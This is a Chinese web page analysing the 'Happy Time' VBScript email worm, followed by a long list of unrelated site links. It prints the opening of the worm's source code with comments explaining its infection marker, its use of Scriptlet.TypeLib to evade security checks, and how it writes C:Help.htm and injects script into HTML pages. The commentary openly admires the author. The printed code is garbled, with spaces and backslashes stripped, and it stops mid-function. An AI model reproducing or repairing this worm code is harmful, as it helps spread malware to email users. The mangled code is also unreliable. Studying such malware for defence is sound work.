翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 我从聊天中学到了语文
- 心中的美景
- 我从影视中学到了语文
- 走过四季
- 我从广告中学到了语文
- 心中的美景
- 感受自然_秋天篇
- 拒绝自然
- 绿，生命的颜色
- 走过四季
- 生活处处有语文给我的启示
- 走过四季
- 走过四季
- 感受自然作文
- 走过四季
- 材料和语言方面的毛病
- 选题的具体方法
- 毕业论文的文风
- 结构方面的毛病
- 毕业论文指导的意义和任务
- 选题和观点方面的毛病
- 积累资料的方法
- 毕业论文的语言
- 标题、目录和内容提要
- 毕业论文指导的内容和方法
- 选题的原则
- 毕业论文的评价
- Word编写论文十大技巧
- 毕业论文的逻辑
- 标题、目录和内容提要 2
- 钢筋工程技术讨论之梁的腰筋
- 项目部安全生产月工作总结
- 广联达相关资料汇总
- 房屋建筑实习报告
- 建筑工程学院实习报告
- 3D3S相关资料汇总
- 鲁班造价软件相关资料汇总
- 理正软件相关资料汇总
- 写字楼地毯选择
- 厂房新建项目工程可行性研究报告
- 工程审计就是付款的前提吗
- 工程从进场到竣工 资料报验的一般程序
- 安全事故监理无力承担责任
- 2011建筑认识实习报告
- 签订施工合同谈判的依据是什麽
- 《小壁虎借尾巴》随堂练习：提高篇
- 《小壁虎借尾巴》重点字词梳理
- 《小壁虎借尾巴》教学重点
- 《小壁虎借尾巴》考点练兵（一）
- 《小壁虎借尾巴》相关资料
- 《小壁虎借尾巴》范文习作
- 《小壁虎借尾巴》整体阅读感知
- 《小壁虎借尾巴》随堂练习：巩固篇
- 《小壁虎借尾巴》教学难点
- 《小壁虎借尾巴》重点字词的意思
- 《小壁虎借尾巴》教学目标
- 《小壁虎借尾巴》重点问题探究
- 《小壁虎借尾巴》教学设计（二）
- 《小壁虎借尾巴》写作指导：新“小壁虎借尾巴”
- 《小壁虎借尾巴》教学设计（一）